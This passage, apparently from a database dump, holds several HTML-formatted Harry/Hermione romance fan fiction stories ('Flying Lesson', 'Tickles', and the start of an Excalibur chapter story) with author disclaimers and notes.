Hakodate, Sendai, Nagano, Niigata, Yokohama, and\nfinally Tokyo.<br>\n<br>\nHarry and Hermione were sitting next to each other on the bus, a few seats in\nfront of the Weasleys who were at the very back.<br>\n<br>\nHermione glanced at the completed portrait in front of her. Shintaro\nhad given her a copy as a goodbye gift right before they had left. It was a\nportrait of both her and Harry. Harry was standing behind her in his wizarding robes while Hermione was sitting in her stool\nwearing her sky blue yukata kimono.<br>\n<br>\nThe Harry in the portrait bent over kissed the portrait Hermione on the cheek,\ncausing the portrait Hermione to giggle. Hermione couldn&#8217;t help but smile at\nthe exchanges between the portrait versions of her and Harry.<br>\n<br>\nHarry glanced over her shoulder and looked at the portrait. &#8220;He was a good artist,\nwasn&#8217;t he?&#8221; said Harry.<br>\n<br>\n&#8220;Yes he was,&#8221; said Hermione. &#8220;I&#8217;m going to predict that he&#8217;s going to be famous\none day.&#8221;<br>\n<br>\nHarry smirked. &#8220;Why, Miss Granger, I thought you didn&#8217;t believe in Divination.&#8221;<br>\n<br>\n&#8220;I don&#8217;t,&#8221; said Hermione looking quite annoyed. &#8220;I was just making a logical\nprediction from my personal judgment of skill and talent.&#8221;<br>\n<br>\nHarry couldn&#8217;t help but chuckle. He suddenly became quiet and Hermione could\nfeel his emerald eyes on her.<br>\n<br>\n&#8220;You know, he was right,&#8221; said Harry. &#8220;You really are the &#8216;Perfect Beauty&#8217;.&#8221;<br>\n<br>\nHermione blushed as she realized that he was staring at her rather than at the\nportrait. &#8220;You&#8217;re just saying that because he thought that,&#8221; she said.<br>\n<br>\n&#8220;No, I really think so,&#8221; said Harry. &#8220;You truly are the &#8216;Perfect Beauty&#8217;.&#8221; He\ngently took her hand.<br>\n<br>\nHermione remained quiet for a short while, her cheeks red and her heart beating\nstrongly. &#8220;Do you really think so?&#8221; she whispered. She gently lifted her head\nup. Chocolate brown eyes locked onto emerald green ones.<br>\n<br>\n&#8220;I&#8217;ve always thought so,&#8221; whispered Harry.<br>\n<br>\nSlowly, Harry and Hermione leaned forward and closed their eyes. Finally, their\nlips met.<br>\n<br>\n<b style="mso-bidi-font-weight:normal">The End</b><br>\n<br>\n<br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n\n\n\n\n\n'),
	(104, 1, '\n\n\n\n&nbsp;\n\nTitle: Flying\nLesson (1/1)<br>\nAuthor name: Sarmi\n\nAuthor email: princess_tx@yahoo.com<br>\nCategory: Romance<br>\nSub Category: Humor<br>\nKeywords: H/Hr fluff <br>\nRating: PG<br>\nSummary: Quidditch romance, Harry teaches Hermione how to fly.\n\n<br>\nDISCLAIMER: I do not\nown Harry Potter, they all belong to JKR.\n\n&nbsp;\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center">~*~</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220; &#8216;Mione, it&#8217;s going to be okay,&#8221;\nHarry consoled noticing how pale she looked.&nbsp;\n&#8220;I won&#8217;t let you fall alright?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">All she could do was nod her head\nin reply her throat was too dry to speak.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Do you remember what Madam Hooch\ntaught us in our first year,&#8221; Harry inquired.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Another nod of affirmation.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Good, but we&#8217;re going to do this a\nlittle bit differently, alright?&#8221; Harry questioned.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Another nod of approval.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry walked over to the Comet,\npicked it up, and walked back to Hermione.&nbsp;\nHe handed it to her saying, &#8220;Mount it like we learned, but I don&#8217;t want\nyou taking flight.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Alright,&#8221; she squeaked once she\nfinally found her voice and did as Harry instructed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Now here&#8217;s the different part,&#8221; he\nsaid as he approached her then mounted the broom behind her, wrapping his arms\naround her, and placing his hands on hers.&nbsp;\n&#8220;We are going to take flight, okay?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Okay,&#8221; Hermione whispered fully\naware of how close Harry was to her.&nbsp;\nShe marveled at the sensations he brought forth in her with only his\narms around her.&nbsp; She found it was\nbeginning to become hard to concentrate on the task at hand.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;On the count of three, we&#8217;ll push\noff,&#8221; he instructed gripping her hands tighter.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Let me count?&#8221; she asked turning\nher head slightly to look at Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Sure,&#8221; Harry smiled taking in her\nscent of pumpkin pie.&nbsp; &#8220;Whenever you&#8217;re\nready.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Taking a deep shuddering breath,\nshe squeezed her eyes shut, and began the countdown.&nbsp; &#8220;Three. . . two . . . and . . . one.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Pushing off with Harry, she didn&#8217;t\nfeel them moving.&nbsp; She wondered had they\npushed off at all.&nbsp; Opening her eyes and\nlooking down, she and Harry were only hovering a few feet off the ground.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;See, I told you I wasn&#8217;t going to\nlet you fall,&#8221; Harry teased squeezing her hands.&nbsp; &#8220;Now, we&#8217;re going to lean forward a bit to move but we&#8217;re not\ngoing to go fast.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Okay,&#8221; Hermione smiled as she\nleaned forward with Harry and felt her and the broom move slowly.&nbsp; &#8220;I like this speed, nice and slow.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Good,&#8221; he grinned, &#8220;you&#8217;re getting\nuse to this, slow for my taste, but it&#8217;s a big step for you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Thanks,&#8221; she smiled turning her\nhead slightly to him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry got a another wonderful wiff\nof pumpkin pie and cinnamon from her hair.&nbsp;\nHe closed his eyes as they flew around the field, he took in her scent\nand remembered every detail of how she felt in his arms.&nbsp; He secretly hoped these lessons would\ncontinue past today.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Huh?&#8221; he replied, coming back from\nhis thoughts.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry,&#8221; Hermione asked.&nbsp; &#8220;Now what?&nbsp;\nWe&#8217;ve been flying like this for a few minutes.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Are you comfortable with the\nheight?&#8221; he inquired.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes, I guess so,&#8221; she answered.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Then let&#8217;s go higher,&#8221; Harry\nreplied, &#8220;we&#8217;re not going to worry about speed at the moment, just the height.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Sounds good,&#8221; Hermione smiled as\nshe lifted them higher up to the edge of her comfort level. &#8220;Don&#8217;t tell me how\nhigh up we are.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Awwww, why not,&#8221; he teased\nsqueezing her hands again.&nbsp; &#8220;Don&#8217;t\nworry, your wish is my command.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Smiling to herself, she slowly\nrealized why Harry loved flying.&nbsp; There\nwas no one to bother or gape at him, this feeling of freedom was\nintoxicating.&nbsp; Curious to see the view\nof the lake and forest, she raised them higher.&nbsp; Unconscious of how high she was, gasping at the breath taking\nview Harry was privileged to, it was beautiful and peaceful site to see in the\nskies.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Look at the view Harry,&#8221; Hermione\nsmiled leaning back into his arms.&nbsp;\n&#8220;Isn&#8217;t it beautiful.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yeah it is,&#8221; Harry grinned\nnoticing her weight against him and wrapped an arm around her waist.&nbsp; &#8220;It&#8217;s peaceful too.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Is this why you come out here so\nmuch?&#8221; Hermione inquired laying her head back against his shoulder.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes,&#8221; he admitted trying to keep\nher attention away from looking down.&nbsp;\nHe knew she would freak out if she saw how high they were.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">His face was mere inches from\nhers.&nbsp; He was glad that her eyes were\nclosed or she&#8217;d see him staring at her.&nbsp;\nSilently debating the idea within himself, deciding whether this risk of\nembarrassment was worth it.&nbsp; <i>&#8220;It&#8217;s\nHermione&#8221;</i> rang through his head, she never made him feel embarrassed about\nanything before, so why would she now.&nbsp;\nHis mind was set, taking a deep breath before he poured his feelings out\nto her.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hermione?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I want to tell you something,&#8221;\nHarry said cursing the blush that was forming.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I&#8217;m listening,&#8221; she smiled knowing\nHarry was going to reveal something.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well, you see . . . there&#8217;s this\nwitch that I like,&#8221; Harry began then feeling his throat starting to dry.&nbsp; &#8220;No, that&#8217;s not it . . . . ummm, well, you\nsee I . . . I like you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh,&#8221; Hermione said in disbelief,\nthen began to blush.&nbsp; &#8220;Just to get\nthings clear, we are talking about more than friendship like, right?</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yeah,&#8221; Harry answered not sure\nwhere this was going.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Good,&#8221; Hermione grinned. &#8220;Because\nI like you too.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You do?&#8221; he smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes, I do,&#8221; she grinned waiting\nfor a kiss from Harry.&nbsp; &#8220;Well?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well what?&#8221; he asked clueless.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well, when are you . . . you\nknow,&#8221; she blushed trying to be understanding with Harry.&nbsp; &#8220;When are you going to kiss me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh,&#8221; he blushed a deeper shade of\nred mentally kicking himself for not realizing when to kiss a girl.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry, stop waging a war in your\nhead and just kiss me you daft git,&#8221; she grinned and teased.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Smiling at how well she knew him,\nhe lowered his head to hers, his reflexes shut his eyes, and he tentatively\nplaced his lips against hers.&nbsp; The feel\nof her soft lips against his wind blow ones was amazing, if he knew what\nkissing had been like he would have started sooner.&nbsp; His arm tightened around her waist and he felt her hand come up\nto his cheek.&nbsp; He had an urge to\nexperiment more, but was shocked to feel Hermione run her tongue across his\nlips.&nbsp; It sent shockwaves to every part\nof his body and opened his mouth in response.&nbsp;\nTheir tongues dueled for dominance for a moment then began to work together.&nbsp; They pulled away to control their breathing\nand heart rates.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry,&#8221; Hermione moaned running\nher finger up and down his jaw.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yeah,&#8221; Harry replied leaning his\nforehead against the side of her head.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;This is going to change a lot of\nthings,&#8221; she answered snuggling further into Harry&#8217;s arms.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I know, but I&#8217;m up to it if you\nare,&#8221; he smiled then kissing the side of her head.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Good,&#8221; she grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-The End-</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>Author&#8217;s Note:</b>&nbsp;\nPlease review and tell me what y&#8217;all think.&nbsp; No flames please.</p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n\n\n\n\n\n'),
	(106, 1, '\n\n\n\n<p class="MsoNormal"><b>Disclaimer</b>:&nbsp; I\ndo not own Harry Potter, wish I did.&nbsp;\nBut I don&#8217;t</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\nTickles\n\n<p class="MsoNormal">By Sarmi</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, stop that!&#8221; Hermione quietly giggled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Stop what?&#8221; Harry whispered quietly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It tickles!&#8221; Hermione squeeked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s not my fault that you&#8217;re <b>extremely</b> ticklish,&#8221; he\nsaid softly smiling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, it is!&#8221; she squealed again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why?&#8221; Harry asked smiling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mr. Potter, Miss Granger!&#8221; Madam Pince glared.&nbsp; &#8220;Need I remind you that this is a\nLibrary.&nbsp; Miss Granger, I would have\nexpected more from you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Both students stopped what they had been doing and began to\nfuriously blush.&nbsp; After a few minutes of\nstudying again, Harry started back up.&nbsp;\nSlowly, he moved his left hand under the table and towards Hermione&#8217;s\nknee.&nbsp; Starting at her knee, he dragged\nhis finger slowly and softly up her thigh.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry,&#8221; Hermione moaned through gritted teeth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,&#8221; he replied innocently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please, stop.&nbsp; We\nhave to study for our Potions test.&#8221; She stated taking his had from her mid\nthigh and moved it to the table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220; &#8217;Mione, we&#8217;ve been at this for at least a few hours.&nbsp; I need a break, and so do you.&#8221; He whispered\nentwining his fingers with hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry,&#8221; she began but was interrupted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Please.&#8221; He stated lifting up their hands and placing soft\nkisses on her knuckles.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry,&#8221; she softly moaned, torn between the love of her\nlife and grades.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Pretty please, with a cherry on top,&#8221; he whispered boring\nhis emerald eyes into her cinnamon pools.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine,&#8221; she relented.&nbsp;\nShe could never resist those eyes of his, she often wondered if his\nmother used the same tactic on his father.&nbsp;\n&#8220;You have 15 minutes.&#8221;</p>\n\n<p class="MsoNormal">Harry quickly got up, not wanting to waste any of the 15\nminutes, he stuffed the books into their bags.&nbsp;\nHe didn&#8217;t care about who&#8217;s books were in who&#8217;s bag, all he wanted was\nthose fifteen minutes with her.&nbsp; Picking\nup their bags and grabbing her hand.&nbsp; He\ndrug them out of the library and into a deserted classroom.&nbsp; Dropping their bags onto the floor, placed a\nlocking charm on the door, he pulled her into his embrace.&nbsp; Wrapping his arms around her waist, he\nlowered his head to hers, claiming her lips.&nbsp;\nGroaning into her mouth, he thrusted his tongue in, and slowly began to\npush into her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was shocked at his excitedness.&nbsp; She had to jog to keep up with Harry&#8217;s long\nstrides.&nbsp; Once, they got into a\nclassroom, she barely had time to catch her breath when Harry began his assault\non her senses.&nbsp; Normally, he was slow\nand soft with her, however times like these, his passion for her couldn&#8217;t wait.&nbsp; She sighed into his mouth, wrapping her arms\naround his neck, and ran her fingers through his hair.&nbsp; He was pushing himself into her, wanting to\nget as close as possible.&nbsp; He backed her\nup into a wall and pressed harder into her.&nbsp;\nShe could feel his arousal through their robes as he began on her\nneck.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His hands were firmly grasping her hips, fisting her skirt,\nwanting to go further.&nbsp; He needed to\nfeel skin, yanking out her shirt-tail, he began to caress her bare sides as he\nkissed her collarbone.&nbsp; Hearing a\nthroaty groan emit from her, it pushed his arousal even further.&nbsp; He pulled back from her to fumble with her\nshirt buttons, he just couldn&#8217;t seem to get a grasp on them because his hands\nwere badly shaking.&nbsp; He then felt her\nhands on his. . .</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry,&#8221; she whispered holding his hands steady and\nbreathing heavily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His head was bent down, eyes closed, and his breathing was\nragged.&nbsp; He couldn&#8217;t respond, he just\nstayed still, afraid that his voice would betray him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry,&#8221; she whispered again taking one hand to his\ncheek.&nbsp; &#8220;I know you want to continue,\nand part of me does too.&nbsp; But look at\nus, we&#8217;re a nervous wreck., we need to take this one step at a time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He opened his eyes and bore them into hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you, you know that,&#8221; she smiled feeling her body\nfull of unconditional love for this man in front of her.&nbsp; &#8220;No matter how long, I&#8217;m yours, we don&#8217;t\nhave to rush it.&nbsp; There will be a right\ntime.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He laid his forehead against hers, closed his eyes, and\nspoke.&nbsp; &#8220;What&#8217;s wrong with me\n&#8216;Mione?&nbsp; Why can&#8217;t . . . why can&#8217;t I\nstop begin so nervous?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing&#8217;s wrong with you Harry&#8221; she smiled.&nbsp; &#8220;It&#8217;s okay to be nervous and scared.&nbsp; It&#8217;s a big step, we just need to start with\nthe small ones.&nbsp; Let&#8217;s just wait okay.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay,&#8221; he answered and wrapped his arms around her.&nbsp; &#8220;I&#8217;m sorry if I scared you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, you never scare me,&#8221; she replied.&nbsp; &#8220;You&#8217;re intense but that&#8217;s because you have\nso much love to give.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you Hermione,&#8221; he answered placing a kiss on the top\nof her head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you too Harry,&#8221; she smiled into his chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(107, 1, ' <p><b><i>Author&#8217;s Note</i></b><i>:&nbsp; I know most of you will threaten me again here, I may get another chapter out here in another month or so.&nbsp; I finish this one quite awhile ago, just forgot to upload it.&nbsp; Enjoy!</i></p>\n\n<p><i></i></p>\n\n<p><b><i>Disclaimer</i></b><i>:&nbsp; I don&#8217;t own Harry Potter, but I wish I did.</i></p>\n\n<p><b>Chapter 1</b></p>\n\n<p>Harry Potter walked into his study and dropped into his favorite chair. He grabbed a tattered book off his desk, propped his feet up and began reading. Two hours later, he dropped the book in exasperation.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Another dead end!&#8221; he said aloud. He looked at the books stacked on his desk and on his table in annoyance, &#8220;So much knowledge and so little time.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry grabbed another book and started reading. The hours passed, and the pile of discarded books grew larger. He looked up when Hedwig landed on her perch beside his desk. The Snowy Owl had an envelope in her beak and two cylindrical packages attached to her legs, and Harry looked at them curiously for a moment before removing them. The envelope was from Hermione, as were the other two objects. He tore open the envelope and pulled out a sheaf of computer paper, and a piece of parchment. He looked at the parchment first.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Harry,</i></p>\n\n<p><i>Happy Birthday! Guess what! I&#8217;ve got great news! The publishers of <u>Hogwarts: A History,</u></i>\n\n<i>want me to write their new revised edition! Isn&#8217;t that great! Enclosed is the first draft of my first few pages. How about you grab those two presents from me and Apparate to my parents&#8217; house, so we can celebrate your birthday. I&#8217;ve missed you these past few months, and can&#8217;t wait to see you.</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Love always, </i></p>\n\n<p><i></i></p> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry gasped when he realized that he had been so preoccupied that he had completely forgotten his birthday. He snatched a quill from his desk and jotted down a quick note. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Hermione,</i></p>\n\n<p><i></i></p>\n\n<blockquote><i>Thank you for the gifts. I have a request however, please hold your pendant and say my name. </i></blockquote>\n\n<p><i></i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry</i></p>\n\n<p><i></i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He quickly rolled the small note and attached it to Hedwig&#8217;s leg. Pausing for a moment, he scribbled another note that he folded and stuck in the bird&#8217;s beak. He lifted the owl off her perch and carried her up the two flights of stairs to the ground floor of the house. He opened a one-way shutter that allowed owls in but not out. Raising his arm, he whispered a spell over her.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Leave the note in your beak on the Granger&#8217;s kitchen table, and deliver the other to Hermione. Now go Hedwig!&#8221; Harry launched the owl off his arm and into the bright sunlight. The owl flew away with such speed that any Muggle that saw her would think she was the contrail from a jet plane.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry went back to his study and grabbed another book to read while he waited. He had read the first twenty pages and was making notes when Hermione Granger appeared in front of him. Her long brown hair had been highlighted with blonde streaks, and it was pulled back behind her ears in two bunches. She had on a baby t-shirt that didn&#8217;t leave much to the imagination, short, jean shorts that showed her long legs, and comfortable looking white sneakers. She looked around her in surprise, her eyes coming to rest on Harry, who had risen when she first appeared.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;HARRY!&#8221; Hermione rushed around the desk and threw her arms around him so forcefully that she knocked him back into his chair and ended up on his lap.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry returned her hug with equal force, and they just sat there holding one another for a long moment.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve missed you Harry.&#8221; Hermione whispered into his shirt.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve missed you too.&#8221; He said softly.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stood up and looked around again. &#8220;So Harry,&#8221; she said, &#8220;where are we?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry scratched the back of his head before answering. &#8220;This is my place.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled. &#8220;Well, are you going to give me the tour, or do I have to explore on my own?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He grinned, and waved a hand at their present location. &#8220;This is my study, or given the way it is now, my library.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She grinned in response. &#8220;You certainly do have a lot of old books. If I were the nosy sort, I would be inclined to ask why.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry chuckled. &#8220;Good thing you&#8217;re not the nosy sort then, isn&#8217;t it?&#8221; He offered her his arm. &#8220;If you would come with me, I&#8217;ll show you the rest.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione eagerly grabbed his arm, and he led her out the door and into the hall. He escorted her through each room of his house, and she oooh&#8217;ed and ahhh&#8217;ed at each turn. However, when he led her to the living room, she gasped.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry! Isn&#8217;t that?&#8221; She released his arm and moved to the center of the room where a sword was standing straight up from the floor. As she got closer, she noticed that the sword was stuck into a rock level with the floor&#8217;s surface.&nbsp; She reached out her hand to touch it, and the sword glowed in warning. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry quickly, but gently grabbed her hand. She looked up at him, and for the first time noticed that he wasn&#8217;t wearing his glasses. His eyes glowed with green fire as he stared at the sword. She looked back, and the weapon slowly lost its glow.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You have to be careful around Excalibur, Hermione,&#8221; he said, his voice startling her. &#8220;It&#8217;s got a mind of its own sometimes.&#8221; He gently lowered her hand to rest on the cold pommel of the weapon. &#8220;It hadn&#8217;t been bonded to anyone in so long that it forgot what friendship means. I had to remind it that I am its friend, and you are my friend.&#8221; Harry explained, removing his hand from hers. &#8220;You can touch it now, without me.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt the mystic sword grow warm under her touch, and a tentative nudge at her mind. She opened her thoughts, and the presence cautiously ventured forward. It was in the shape of a man, and looked a lot like Harry. It spoke softly, it&#8217;s deep voice rolling gently through her mind.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;I am Caliburnus or as you say Excalibur. My master has assured me that you are no threat to either myself or to him. I apologize for my behavior, but as my master said, it has been a very long time since I last knew the companionship of one worthy of my power. I can see now that you too would be worthy to wield me in combat. If ever my master forsakes me, I will seek you 